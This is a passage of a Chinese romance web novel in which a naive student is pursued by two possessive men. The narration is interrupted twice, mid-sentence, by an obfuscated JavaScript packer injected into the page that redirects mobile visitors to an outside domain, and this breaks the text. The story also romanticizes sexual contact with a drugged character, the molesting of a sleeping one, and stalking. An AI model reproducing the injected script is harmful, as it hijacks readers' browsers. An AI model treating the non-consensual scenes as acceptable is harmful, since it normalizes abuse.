空气凝固了。 周遭的温度仿佛急剧降至冰点,秦陌目光森冷锋利,像是能在陈悯之身上盯出个洞来:“你去夜店里做鸭,就为了给顾明珏买礼物?” 陈悯之含糊道:“也不全是,总之我有自己的打算。” 给顾明珏买礼物只是一方面,他其实更想早日攒钱,这样在毕业后就可以娶老婆。 他姥姥说了,男人二十一枝花,但过了二十五就要开始凋谢了,让他最好一毕业就把老婆娶回来,再生个大胖娃娃。 陈悯之脑子里想着些有的没的,两秒后才反应过来什么,瞪大眼睛辩驳:“谁做鸭了,我是去做服务生。” 秦陌已经记不清自己今天是第几次被气笑了。 “服务生?”他森森道,“你知道你当时看起来像什么吗?” 陈悯之疑惑:“像什么?” 秦陌道:“像一盘点心。” 一盘供人尽情品尝,肆意亵.玩的点心。 戴着兔耳朵的少年面庞柔软,脖颈秀美纤长,被黑色腿.环勒出的大.腿肉丰润绵软,哪里都白白腻腻的,简直就是纯洁和欲.望的化身,只有他自己才不知道自己有多勾人。 秦陌简直不敢想象,当时如果不是他在嘈杂的环境中隐约听到了陈悯之的声音,从正在处理工作的平板上抬起头,陈悯之还会被灌下多少酒,或者被引诱着喝下多少具有各种特殊用途的药物,最后被人带到酒店玩儿遍了都不知道。 陈悯之不太能理解秦陌的话,为什么像点心?他戴着个兔耳朵,要像也该是像兔子啊。 但他该灵活时不灵活不该灵活时异常灵活的小脑瓜子,此刻又敏锐地捕捉到了另一个信息:“那你为什么会在哪里?” 陈悯之震惊地瞪圆眼睛:“你也点鸭吗?” 秦陌咬牙:“我没有...” 他话还没说完,就见陈悯之拍拍胸脯道:“放心吧,你救了我,就算你点鸭我也不会说出去的。” 秦陌脸色发青,面容扭曲得可怕,他拳头捏了又捏,骨头都快攥碎了:“我说我没有点鸭。” 可他对面的陈悯之晃荡着个兔耳朵,脸颊都烧红了,像是开到极致的桃花,一双小鹿似的圆眼睛跟浸了水似的,懵懵懂懂、迷迷瞪瞪地望着他,显然没把他的话听进去。 一股无名火窜上秦陌胸膛,他握住少年纤薄的肩膀,看着他的眼睛说:“你听清楚没有?我说我没有点鸭,从来没有过,我去哪里只是为了——” 只是为了从那一群不学无术的富二代中间,套取竞争对手的商业机密。 可他的后半句话没能说出来,因为少年已经神志不清地软倒在他身上,发烫的脸颊蹭着他的喉结,整个人软得像是要化在他身上了:“难受,好难受...” 秦陌的喉结上下滚了滚。 少年束着黑色腿.环的大.腿饱满软腻,小腿纤细秀美,足踝小巧,踝骨圆润,从上到下都是是刚好长在他审美上的漂亮形状,在更早,在他第一眼从学校澡堂看到的时候就已经知道这一点。 那双雪白的兔耳朵随着动作时不时刮过他的喉结,像羽毛轻拂,却顷刻间点燃了漫山遍野的火。 秦陌闭了闭眼。 他掐住陈悯之的下巴,眸光阴狠,盯着他一字一句道:“这是你自找的。” 8. 第 8 章 8 陈悯之再次醒来,发现自己已经不在酒店了,而在一个冷灰色调的房间里,室内陈设简单却不失格调,墙角摆放着后现代艺术风格的落地衣架,看得出房间的主人审美很好。 他撑着身子坐起来,整个人陷在深灰色的被褥里,脸颊上带着刚睡醒的红晕,脑袋懵懵的。 这被子的味道和他被秦陌抱着时闻到的味道好像,陈悯之想,清冽好闻,又带着寒山般的冷意,像被大雪覆盖的松林。 但他现在是在哪儿呢?秦陌呢? 啊...秦陌... 随着这个名字在脑海里浮现,一些断断续续、不甚清晰的记忆也如同潮水般涌上来。 男人戴着一副金丝边框眼镜,鼻梁高挺,唇线淡而薄,怎样看都是一副冷淡禁欲的长相,可他手上坐着的事却和这张脸截然相反,那双指节修长,干净漂亮的大手,在帮他、帮他...陈悯之瞬间感觉一阵热意滚遍全身,脸颊腾地爆红。 他最后好像还把秦陌的手弄脏了...弄得指缝里都是...后来好像也是秦陌给他洗的澡,衣服也换掉了。 他现在穿的已经不是那套背带裤露腿装,而是一套简单的白T和短裤,闻起来有一股新衣服的味道,而且十分合身,显然是按照他的身量买的。 可他记得秦陌不是有洁癖来着? 他该不会是做了什么春.梦吧? 陈悯之懵懵地想。 秦陌推门而入的时候,看到的就是这样一副景象。 少年半蜷褶膝盖坐在他的床上,白皙柔软的身体被含有他气息的被褥包裹着,脸颊粉粉的,黑发睡得有些蓬乱,头顶翘着根呆毛。 哪里看上去都软软的,就是有点呆,连他进来了都没发现。 秦陌开口:“醒了?” 陈悯之的目光这才转向他,却还是那副愣愣的模样,也没回答他的话。 秦陌:“醒了就出来吃饭,你一天没吃东西了。” 男人的声线依旧含着一种独特的冷感,低沉而富有磁性,听起来却不似往常那般漠然了,但这样细微的变化,现在的陈悯之自然是注意不到的。 他只是用那双乌润润的眼睛望着男人,小声试探道:“你...你是不是帮了我...” 秦陌神情微顿。 他自然知道陈悯之说的是什么。 十几个小时前,少年漂亮柔软的身体就在他的怀中,跟只猫儿似的哼哼唧唧地叫唤,即使他只是用最简单的方式帮了陈悯之,少年也像是受了莫大的刺激一般,呜咽着在他怀里哭出来,完全未经人事的模样。 最是纯洁,却也最能勾起人心中深重的欲.望。 秦陌的喉结几不可察地滚动一下,目光却并没有从少年身上移开。 男人的视线像一张幽沉的,密不透风的网,将窝在床上的人包裹起来,只有处在风暴中心的猎物毫无所觉。 像是过了一个世纪那么长,秦陌才偏开视线,声音略微僵硬地道:“怎么,不满意?” 陈悯之摇摇头。 怎么能不满意呢,他感动还来不及,果然养父说不能以貌取人是对的,秦陌虽然看上去冷冰冰的不好相处,但实际上是个面冷心热的好人,从他明明有洁癖还不嫌弃地帮助朋友就能看出这一点。 至于秦陌对他的帮助到底正不正常,陈悯之记得他高中同学说过,兄弟之间互相帮帮忙都是很正常的,虽然他因为害羞从来没试过,但既然大家都这么说,那应该不算什么事儿。 他很诚恳地说:“挺满意的。” 秦陌一噎。 虽然话是他问的,可当陈悯之睁着一双清澈无辜的眼睛,认真回答他很满意时,他反倒先无所适从起来。 而且,发生了这样的事,他竟然没有在陈悯之身上看到任何难堪或是害臊的情绪,少年那双黑白分明的眼睛看着他,里面包含最多的竟然是...感动? 秦陌眉微蹙,视线扫向陈悯之:“为什么这样看着我?” 陈悯之露出一个松快的笑容,圆圆的眼睛都笑得弯起来:“秦陌,你真好。” 秦陌眉心微蹙:“好?” 陈悯之点点头,又挠了挠脑袋,有些不好意思似的:“谢谢你有洁癖还不嫌弃地帮助我。” 他很认真地说:“你真的是一个很好的人。” 但陈悯之不知道为什么,明明他是在很真诚地夸赞对方,秦陌的脸色却并不怎么好看,甚至可以说,难看到了极点。 男人漆黑眼眸盯着他,近乎咬牙切齿:“陈悯之,你真的是个笨蛋。” * 陈悯之不是第一次被人说笨蛋了。 在他还小的时候养父就说,他这人说好听点儿是钝感,心大,说不好听就是有点傻。 因为小时候被丢弃在雨天,不知淋了多久的雨,留了病根,导致六岁以前身体一直很弱,瘦瘦的,比同龄的小孩子矮了一截不说,力气也比别人小。 别的小男孩欺负他捉弄他,他还觉得别人在和他玩游戏,傻乎乎地把人当朋友,他总是要吃了一点儿教训后,才能分辨出别人对他到底是善意还是恶意。 但养父也说,对他来说,有这样的性格反倒是好事,换做别的小孩,知道自己一出生就被父母丢弃,都要伤心难过好久,很可能还会留下一生都难以治愈的心理创伤。 只有他,七岁知道自己身世后,睁着一双圆眼睛,问妈妈什么时候吃饭。 他这心大的性格从小留到了大。 陈悯之一直都觉得自己是幸运的。 他出生就被亲生父母遗弃,差点冻死在雨夜,却恰巧碰上养父母捡回一条命; 他并不聪明,别人学一遍就会的知识他要学三遍,但也依旧凭借努力考上了心仪的大学; 他小时候被朋友欺负,后来却也交到了陆承轩这个很好很好的朋友,啊对,现在还多了顾明珏和秦陌这两个好朋友。 现在,这三个好朋友都很关心他: 秦陌:【身体好些了?有不舒服及时跟我说。】 顾明珏:【悯之,你去哪儿了?怎么一天都没回宿舍?我很担心你。】 陆承轩:【哥哥在吗?怎么不接我电话呢?(委屈小狗jpg.)】 陆承轩:【未接来电x3,未接语音来电x2,未接视频来电x8】 最后一条消息是三小时前。 陆承轩:【哥哥,我来你学校找你了。】 * 陈悯之找到陆承轩的时候,正看见他倚靠在树下,低头和一个女生说着什么。 男生身材高大,一头浅棕色的卷发,眉眼明亮,唇角天生微微上扬,整个人看上去充满了阳光般的温暖,是帅气且很容易让人亲近的长相。 但此刻,那张脸上却看不到笑意,唇角冷冰冰地向下压着,俊朗的眉眼时不时往外瞥,像是在寻找着什么,显出几分焦躁和不耐。 印象中,陆承轩总是笑着的,不仅自己笑,还很会逗他笑,陈悯之从没见过他这幅模样,是他看错了吗? 他取下眼镜在衣服下摆擦了擦,再抬头的时候,陆承轩身边的女生已经不见了,高大英俊的男生正迈着长腿朝他奔来,嘴角扬起一个他熟悉的明朗笑容:“哥哥!” 不出所料地,陆承轩一上来就扑进了他的怀里,呃,这么说不太准确,那是在从前陆承轩还没他高的时候,每次扑过来陈悯之都感觉自己像是被一只撒欢的小狗扑了。 但现在陆承轩高他快一个头,肩膀也比他宽了好多,虽然说是像从前一样扑进他怀里,但更像是陈悯之整个人被男生抱了个满怀,肩膀都被男生的重量压得有些沉。 怎么感觉陆承轩看起来比上次又结实了些,抱他的力气都变大了,陈悯之在心里小声嘀咕,这些人都在背着他偷偷健身吗? 作为男生,他当然也想要有漂亮的八块腹肌,但遗憾的是,不知是否和先天基因有关,无论他怎么努力运动,都只能长出来薄薄一层肌肉,远远达不到他理想中成年男性的健美标准。 陈悯之在心里想着些有的没的,也就没注意到,抱着他的高大男生,正将脑袋埋在他脖颈处四处嗅闻,仿佛一只嗅觉灵敏的大型犬,正在仔细确认自己的所属物有没有沾上陌生的气味。 陆承轩来来回回闻了好几次,就差伸舌头在陈悯之脖子上舔一口尝尝了,最终才在怀中人察觉到不对劲之前放开了手。 “哥哥身上很干净呢。” 还是和从前一样香香的,没有一些不该有的臭狗的气味。 陆承轩露出一个心满意足的笑容。 陈悯之:“哦哦,我这套衣服是新的。” 陆承轩笑着问:“哥哥买新衣服了吗,你穿着很好看。” 陈悯之开心道:“好看吗?我朋友送我的。” 陆承轩停顿一秒:“是上次那个姓顾的吗?” 陈悯之没有注意他奇怪的代称,只当陆承轩是不记得顾明珏的名字了,毕竟他当时只说了一遍,便回答道:“不是,是另一个朋友。” 陆承轩的笑容以极微小的幅度扭曲了一下:“哥哥的朋友还挺多。” 陈悯之挠挠头:“也没有,我最好的朋友就你一个。” 在这方面,陈悯之常常感到懊恼。 可能确实是他人不怎么聪明,不太招人喜欢的缘故吧,从小到大交过的那些朋友,明明一开始玩儿得好好的,后来不知怎的突然间就疏远他了,到最后一直留在他身边的,也就只有陆承轩一个。 所以这次刚进大学就交到了两个好朋友,陈悯之很开心,觉得自己是撞大运了。 原本皮笑肉不笑的陆承轩,听了这话仿佛一只得到嘉奖的金毛犬,脸上的阴霾一扫而空,雀跃得尾巴都要摇起来。 他眼睛亮亮地问:“真的吗?在哥哥心里,我是最重要的人吗?” 陈悯之点点头:“当然。” 养父母去世后,他生命中最亲近的人除了姥姥,就只剩下了陆承轩。 陆承轩突然停下步子,伸出双臂抱住了他。 陈悯之一脸懵:“你怎么了?” 陆承轩深深呼吸着怀中人的气息,声音竟含着一丝哑意:“没怎么,我只是太高兴了。” 虽然不知道陆承轩为什么这么高兴,陈悯之还是很配合地拍了拍他的背,像在给一只大狗狗顺毛:“好了好了,你也会交到很多好朋友的。” 他想起什么:“对了,刚刚那个女生你认识吗?” 陆承轩微笑着说:“不认识,她来要微信,我没给哦哥哥。” 站在跟前的大男生眼睛亮亮的,莫名让人想起摇尾巴求夸奖的小狗。 可陈悯之却没夸奖他,反而蹙着眉头,语重心长道:“你不想给可以不给,但不要凶人家,对女孩子要温柔一点。” 陆承轩扬起来的嘴角下垂了:“我没有凶她哥哥,我只是说我手机掉了而已。” 陈悯之:“你这样显得很敷衍,很不尊重别人女孩子。” 陆承轩挑眉:“哦?那我应该怎么说?” 陈悯之思索片刻:“再遇到这种情况,你可以对她说,‘不好意思,我已经有喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867709|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢的人了。’” 这样既能够明确拒绝,又显得不失礼貌,陈悯之觉得自己想出的措辞很合适。 陆承轩唇角微勾:“好,都听哥哥的。” 吃饭间,陆承轩问起他为什么突然消失了一天不回他消息,陈悯之不好意思把自己差点去夜店做了鸭的事情讲出来,只含糊着说手机坏了,他在微信上对顾明珏也是这么回复的。 陆承轩没说什么,陈悯之也只当这件事糊弄过去了,却没有看到,他去窗口给自己和陆承轩买绿豆沙冰的时候,背后阴森森贴上来的,宛若毒蛇般冰冷黏腻的目光。 “哥哥好坏哦。” “都学会撒谎了。” 外表俊朗阳光的男生坐在座位上,在食堂混杂的人声中一个人自言自语,语气却如同与情人低语般饱含深情:“但没关系,我不怪哥哥,都是那些臭狗的错,哥哥放心,我会把它们都赶走的。” 就像赶走从前围绕在哥哥身边的那些臭狗一样。 吃过饭,陈悯之带着陆承轩在校园里逛了一会儿,但现在天已经黑下来,也没什么好看的,陆承轩便提出想去他的寝室看看。 一进寝室,陆承轩就表达了对宿舍条件的嫌弃:“这里条件好差哦,连个单间都没有。哥哥,你和他们住一起太挤了,还是我给你在学校外面租个房子吧,我上次看好了一家,环境很好,离哥哥学校只有十分钟路程。” 陈悯之不明白他嫌弃的点在哪里:“大学宿舍都是这样啊,难道你们学校宿舍是单间?” “当然不是,不过我是一个人在外面住的,没有和别人住一起。”说完,陆承轩脸上出现了一种陈悯之看不懂的,等待夸奖的表情。 陈悯之摆摆手:“你顾好自己就行了,不要乱给我花钱。” 陆承轩:“我不差钱。” 陈悯之严肃:“那也不能浪费钱。” 陆承轩委屈地说:“给哥哥花钱不是浪费...” 陈悯之咳了两声,觉得不能再像纵容小孩子一样纵着陆承轩,于是难得强硬起来:“总之我不会去外面住的,你不用再费心思给我找房子了。” 陆承轩脸上浮现出失落:“好吧。” 陈悯之这时想起一事:“你今晚上住哪儿?订酒店了吗?” 陆承轩刚刚黯淡下去的眼睛又闪亮起来:“还没呢,我可以和哥哥一起住吗?” 陈悯之:“你要住我们宿舍?” 陆承轩张了张口,嘴里的“不是”还没说出来,就见陈悯之摸着下巴道:“也不是不行,刚好有个空床位,不过我得先问问我室友同不同意。” “同意什么?”男人高大挺拔的身影不知何时出现在门口。 “诶,你回来的正好。”陈悯之把陆承轩拉过来,不好意思地冲他笑笑,“这是我发小,想在我们宿舍借住一晚,征求下你们的意见。” 实际上只是征求你的意见,陈悯之在心里默默道,王鸿洲是不会介意这些的。 秦陌的视线在空中与陆承轩交汇,一人的目光冷漠如冰霜,一人的目光里含着笑,笑意却不达眼底。 明明只是初次见面,两人却都在对方眼中看到了针锋相对的敌意。 那是一种雄性动物面对侵入者,感到自己领地和配偶的所属权受到威胁时,本能般的警觉。 “如果我没记错,学校有规定,不得让校外人员来寝室借宿。”秦陌回答着陈悯之,目光却是盯在陆承轩身上的,仿佛紧绷着的琴弦,一刻也不曾松开过。 率先移开视线的是陆承轩,他听到秦陌这话,状似失落地转过身,拉着陈悯之的手道:“既然哥哥的室友不同意就算了吧,哥哥陪我去住酒店好了。” 陈悯之还没说话,一旁的秦陌先开口了:“他还没成年?” 言下之意,这么大个人住酒店还要人陪? 陆承轩笑眯眯地抢答:“不好意思,我和哥哥同一年的,已经成年了哦。” 陈悯之丝毫没察觉到空气中弥漫的火药味,只觉得本来自己的请求就挺冒昧的,人家答应是情分,不答应是本分,于是面露歉意地对秦陌道:“没事,那我陪他出去住吧。” 他知道陆承轩只有自己一个朋友,头一次分别这么久,想多和他说说话也属正常。 收拾好换洗衣物,陈悯之便提着东西和陆承轩出了门,临走前还很有礼貌地对秦陌告别:“那我走啦,拜拜。” 秦陌没有回答,他的目光落在陈悯之自己看不见的后方,那里,陆承轩正对他露出一个得胜者的笑容,甚至抬手轻轻挥了挥,也对他做出一个拜拜的手势。 只是在秦陌眼里,那个手势更像是隔空扇在他脸上的巴掌。 他攥紧了拳头。 * 在各行各业都在内卷的时代,大部分酒店的隔音效果都做得不错,不过秦陌所在的这一家,因为是开了十多年的老店了,许多硬件设施还是按照十几年前的标准来的。 故而,要是把耳朵贴在墙上听,还是能听到隔壁传来的一些模糊字句的。 “唔...哥哥好厉害。” “是吗?哈哈哈...” “...哥哥射得真准。” “嗯,你也不错。” “好了,现在哥哥不用动,让我来就可以了。” “唉,我现在也只能躺着了,剩下的都交给你啦。” 秦陌站在墙角听了一会儿,越听脸越黑,到最后已经阴冷得能当场结冰了。 半晌,他拿出手机拨通了一个电话,冷冷开口:“你好,请问是扫黄打非吗?” 9. 第 9 章 9 陈悯之杵在门口,和外面站着的两名警员大眼瞪小眼。 “发生什么事了吗?”他问。 一名警员道:“没什么,例行检查,希望你们配合一下。” “好的好的。”陈悯之让开身让两名警员进来。 陆承轩站在里边儿,倒是对眼下发生的事情并不惊讶,还微笑着对两位警员做了个手势:“请便。” 两名警员四处查看一番后,皱着眉头问陈悯之:“你们刚才在干什么?” 陈悯之满脸大学生的清澈与单纯:“打游戏啊。” 警员:“什么游戏?” 陈悯之还没说话,陆承轩就笑眯眯地抢答:“吃鸡啊,一款射击游戏,很好玩的,你没玩儿过吗?” 他们订的是电竞房,配备了两套电脑和电竞椅,警员走到电脑前一看,果然看见电脑屏幕还停留在游戏界面上,其中一台电脑上的游戏角色已经中枪倒地,像具尸体一样躺在地上一动不动。 警员嘴角抽了抽:“你们大半夜出来开房,就为了在这儿打游戏?” 陈悯之迷茫地问:“不然呢?除了打游戏还能干什么?” 陆承轩笑吟吟的:“就是呀警察叔叔,我们两个男的,除了打游戏还能干什么呢?” 警员回头看向身后的同事,低声道:“是不是搞错了?” 房间他们已经仔细察看过了,别说有什么聚众淫.乱的证物了,两张床上面连被褥都没动过,干净平整得一丝褶皱都没有,被褥上的毯子都还是酒店叠放的标准天鹅形,显然,这两人进门后就直奔电脑,连床都还没坐过。 另一位警员凝眉思索半晌,开口问:“那你们有没有听到隔壁,或者是其他地方有什么奇怪的声音?” 陈悯之:“没有啊。” 作为一个单线程生物,他做什么事都是全神贯注,一打游戏外界什么声音都听不见了。 倒是陆承轩突然道:“啊,我想起来了,刚才好像听到隔壁有人砸墙呢,咚咚咚的吵死了,警官先生,您还是去看看隔壁有没有住什么精神病人吧。” “好,知道了,谢谢你们的配合。” 两名警官出门后,陈悯之都还处在迷惑中,他问陆承轩:“警察真的会无缘无故地查房吗?这里不会出什么事儿了吧?” 他的脑子里瞬间闪过一系列在今日说法栏目看过的凶案。 陆承轩语气轻快地道:“没事儿,就算有什么事我也会保护你的,哥哥别怕。” 陈悯之不放心地向门口走去:“我还是去看看吧,万一真有什么事儿我们就换一家酒店。” 陆承轩想去拦他,但陈悯之已经打开了门,这一出门,他就看见刚才的两位警员正站在隔壁房间门口,和里面的住客交谈着些什么。 这住客的声音还有点熟悉。 等两位警员离开后,陈悯之趁着对方还没关门走过去一瞅,脸上顿时浮现出惊讶:“秦陌,你怎么在这里?” 秦陌看到他后,脸色却是微微一变。 男人有些不自然地移开视线:“这是我家的酒店,我来视察工作。” 陈悯之:“这么巧,诶不过你家不是互联网企业吗,怎么还开酒店啊。” 秦陌:“秦氏旗下的产业很多,只是以互联网产业为主,并不代表其他行业没有涉猎。” “哦哦,这样啊。”陈悯之道,“那你知道这里发生什么事儿了吗?怎么突然有警察查房?” 秦陌表情冷漠:“没有什么事,最近扫黄打非查得严,例行抽检而已。” 在陈悯之心中,秦陌一直都是很可靠的,他原本还处处担心,现在听秦陌这么说,也就放下心来。 “对了,刚才陆承轩说他听见隔壁有人捶墙,你有听见吗?” 秦陌握着门把手的指尖紧了紧,面无表情道:“你听错了。” 陈悯之深以为然地点点头:“我也觉得是他听错了,谁闲着没事儿干大半夜捶墙呢,应该不会有人这么没素质。” 不知道为什么,陈悯之觉得秦陌的脸色好像不太好看,可能是自家酒店被当成扫黄打非的关注对象,压力比较大吧。 这么想着,他上前拍了拍秦陌的肩膀,宽慰道:“你也别太担心了,就算上面查得严,但只要你的酒店正规经营,不会有什么事的。” 为什么经过他的宽慰,秦陌的脸色好像更难看了? 陈悯之不理解。 “哥哥。”身后有人叫他,陈悯之回头,见陆承轩站在房间门口朝这边看过来,“你站在那里做什么?” 陈悯之回头道:“秦陌也在这里,这是他家的酒店,他来视察工作呢。” “哦,那真是太巧了。”陆承轩脸上的笑意淡下去,眼底划过一丝几不可察的阴冷。 从他们出校门不久,陆承轩就已经发现有人在跟踪他们了,刚才警察突然查房,他用脚指头都能想到是谁干的。 只有他一根筋的哥哥,对自己身边的异常毫无所觉。 陆承轩:“哥哥,外面凉,快进来吧。” 陈悯之却对秦陌道:“我们在打游戏,你要一起吗?” 反正他看秦陌心情不太好的样子,正好来打游戏放松一下。 陆承轩神色有些僵硬:“哥哥,这里只有两台电脑,坐不下第三个人呢。” 陈悯之:“啊,没事儿,我带了笔记本电脑,你们用台式机,我可以用自己的电脑玩儿。” 他因为打工的事情耽搁了一整天,把电脑带来酒店本来是想补作业的,没想到现在派上了用场。 陆承轩:“哥哥...” 陈悯之:“这游戏人多才好玩嘛,而且你不用担心,秦陌技术很好的。” 五分钟后,房间内的人员布局变成了:陆承轩和秦陌肩并肩坐在电脑桌前,陈悯之一个人抱着笔记本电脑坐在床上,三个人一起打游戏。 陈悯之的游戏技术不能说很菜,但也实在算不上很好,因为他的反应总是慢常人半拍,在这种很考验临场应变的射击游戏里,动作总是显得有些迟钝。 但秦陌和陆承轩两个人技术都是顶尖的,陈悯之被他们带着,几乎没费什么力气就拿下了连胜。 陈悯之好久没打得这么酣畅淋漓过了,被大佬带飞的感觉真好! 但奇怪的是,明明赢了这么多局,除了他以外的两位大佬,脸色都不太好看,直挺挺地坐在椅子上,像两个没有感情的陪上分机器人。 陈悯之放下笔记本电脑,小声说:“对不起,我是不是打得太菜了...” 椅子上的两个人同时转头,异口同声道:“没有。” 然后互相对视一眼,又同时别开脸。 陆承轩笑着说:“哥哥打得很好,跟我配合得很默契呢。“ 秦陌很客观地评价道:“这是团队游戏,你的作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867710|159515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用不可忽视,没有你,游戏也赢不了。” 陈悯之于是开心起来:“那我们下次还一起组排吧!” 但他没想到的是,这次陆承轩和秦陌同时脱口而出:“不了!” 陈悯之:“?” 好吧,果然还是他技术太菜被嫌弃了。 打完游戏已经快两点,陈悯之困得两眼发黑,带来的作业自然也没做,把秦陌送出门后,草草冲了个澡就上床了。 陈悯之从小睡眠质量就很好,几乎是沾床就睡,而且一睡就睡得又沉又香,夏天半夜打雷都把他劈不醒。 但这也导致他睡着以后,别人对他做什么他都不知道。 阒静的夜色里,一道身影对面的床上翻下来,跨过两张床之间的过道,爬上了陈悯之的床。 他的动作很轻,像是一道悄无声息的影子,覆盖在熟睡中的人身上。 比陈悯之小了两个月的男生,身量却比他高大许多,肩宽背阔,四肢线条结实有力,浑身都覆盖着起伏的肌肉,压下来时几乎完全将他的身体笼罩在阴影中。 那双浅褐色的眼睛里没有了白天温暖的光辉,而覆着一层幽晦的夜色,像是从一只乖巧无害的,让人丝毫不起戒心的金毛犬,变成了极度危险、在黑暗中捕食的恶狼。 柔嫩的唇瓣被一根手指撬开,男人粗粝的舌.头探了进去,勾起少年嫩.红色的小.舌.头,缠在齿间吃得啧啧有声。 少年舌.头被人含住了,收又收不回来,只能被亲得合不拢嘴巴,透明的涎水顺着嘴角流了出来,又被人很珍视地顺着唇角舔了个干净。 “哥哥好甜。” 吃饱了水的男人发出一声餍足的喟叹。 “好想咬哥哥一口,但是这样会留下痕迹。”黑暗中的人很遗憾地说,“都是哥哥皮肤太娇了,连亲重一点都不行。” “只能舔哥哥了。”说罢,那根舌头言出必行般,从少年被亲得微微发红的唇瓣上离开,转而落到了白皙的耳朵上。 男人粗糙的舌.尖如蛇一般灵活地游移,将少年纤薄的耳骨和柔软圆润的耳垂都舔了个遍,就这样还嫌不够似的,又顺着耳垂舔到了纤长的脖颈,连凸出来的一小颗喉结也不放过,将少年舔得湿乎乎的,白皙肌肤上沾满亮晶晶的水液。 就像一只霸道又幼稚,一定要在所属物身上处处都留下自己气味的犬类。 梦中的少年像是被弄得有些不舒服,清秀的眉毛皱起来,齿间溢出一道黏糊的哼唧,但没有醒。 而这非但不能让身上的男人感到警觉,反倒让他的动作更肆无忌惮。 直到把少年从脸到脖子都舔了个遍,他才似心满意足了,指尖摩挲着少年柔嫩的唇瓣,重新小口小口地辗转亲吻起来。 “哥哥真是太不让人省心了。” 亲一口。 “我才离开一个月,哥哥就又勾.引了这么多条臭狗。” 生气地亲一口。 “明明说我才是最重要的人,还把别的男人叫进来打游戏,害得我都没有时间好好和哥哥说话。” 不满地亲一口。 “但我永远不会怪哥哥,因为无论哥哥变成什么样,在我心里永远都是最好、最好的。” 爱怜地亲一口。 “等送给哥哥的礼物修好了,就带着哥哥搬进去吧,哥哥会喜欢那里的。” 他脸上浮现出一个幸福又甜蜜的笑容。 10. 第 10 章 10 大概是打游戏打太晚的缘故,陈悯之第二天醒来后都还有些疲惫。 昨晚上他做了一个好奇怪的梦,梦到一条大狗趴在他身上,伸出湿哒哒的大舌.头在他脸上舔来舔去,涎水顺着锋利的犬牙滴到他的脖子上,黏糊糊的。 陈悯之以为这条大狗要吃了他,在梦里都吓得半死,对着大狗努力比划说自己从来不锻炼肉质很差一点儿也不好吃。 但狗自然是听不懂人话的,非但没有停下动作,反倒变本加厉地舔他,就好像他是一块儿香喷喷的肉骨头,但只有这一根,大狗很想吃,又舍不得立刻吃掉,于是就一个劲儿地对他舔了又舔。 最后那条粗糙湿热的狗舌.头还舔到了他的肚子上,陈悯之真切地感受到尖利的犬齿在肚皮上划过的触感,仿佛在寻找哪里的肉最软最好下口。 被剖开肚子的恐惧让陈悯之在梦里吓得哭了起来,呜呜呜地说不要吃我。 这时候,恶犬终于停下了动作,抬起头来看他。 两秒后,那张狗嘴里吐出一句人话:“哥哥。” 陈悯之吓得差点没在梦里从床上滚下去,直到醒来都还心有余悸。 他睡眠质量一直很好,因而很少做梦,就算做了梦醒来后大多也不记得了,这么离奇诡异的噩梦更是好久没做过了。 于是陈悯之醒来后第一时间就和陆承轩分享了自己的噩梦。 他边分享边摇头:“真是奇怪,狗怎么会说话呢,还会叫哥哥。” 陆承轩露出一个不太自然的笑:“哥哥,梦本就就是没有逻辑的,许多人还会梦到自己在天上飞呢,哥哥不用太过害怕,过两天就会忘记这个梦的。” 陈悯之严肃道:“你说的对,不过你今天先不要叫我哥哥了,你现在一叫我,我就会想到那条狗,我怕我后面忘不掉了。” 陆承轩:“... ...” 陈悯之叹了口气:“唉,怪我昨天没有好好学习,晚上做噩梦,作业也没写完。” 他以后再也不熬夜打游戏了。 陆承轩:“是你电脑上那个古诗词鉴赏的作业吗?我已经帮你做了。” 陈悯之讶然:“你帮我做了?什么时候?” “昨天你睡着以后。”陆承轩低下头说,“都是我拉着悯之哥打游戏,才导致你作业没写完的,这是我应该做的。” 陈悯之浑不在意地摆摆手:“没关系,你比作业重要,你大老远跑过来,我本来也想多陪陪你。” 主要是那只是一个选修课的作业,又不是他计算机的专业课,影响不大。不过,他心里还是很感动的,陆承轩虽然嘴上叫他哥哥,但许多时候行事比他这个大几个月的哥哥靠谱多了。 陈悯之埋头收捡着自己的东西,丝毫没有注意到在他说出这句话后,落在他身后的兴奋、甜蜜、幸福、充满爱意的炽热目光。 “悯之哥,你真好。”陆承轩轻声说。 这话从小到大陆承轩对他说过许多次,陈悯之都听习惯了,也没太在意,转身问陆承轩:“东西收拾完了吗?我送你去机场。” “嗯。” 机场大厅里,陆承轩又像从前的每次分别一样,紧紧抱着他不撒手。 陈悯之拍了拍陆承轩的背:“好了好了,再不走要误机了。” 陆承轩把脑袋埋在他脖颈处,近乎贪婪地深深嗅闻着少年身上的香气,这味道干净又清爽,像是清晨从檐上落下的雨滴,无论闻多少次都让他着迷。 在少年看不见的地方,那双眸子一点点森暗下来,涌动着难以遮掩的嫉恨情绪。 如果不是...如果不是...他怎么会放任陈悯之生活在自己视线之外的地方,又怎么会给那些臭狗接近陈悯之的机会。 可如果不做出这样的选择,他就无法获得真正的力量,能够把想要的东西紧紧握在手中的力量。 陆承轩闭了闭眼,又贴着陈悯之蹭了一会儿,再抬头时眸中的幽暗已经消失得一干二净,又变回了那个阳光温暖的大男生:“哥哥,我有一件礼物要送给你。” “你还给我带了礼物?”陈悯之尴尬地道,“这多不好意思,你过来找我玩儿,我都没给你准备什么。” 陆承轩笑容明亮地说:“没关系,哥哥能抽空陪我就是最好的礼物了。” 他从怀里摸出一个包装精致的小盒子,递给陈悯之说:“打开看看。” 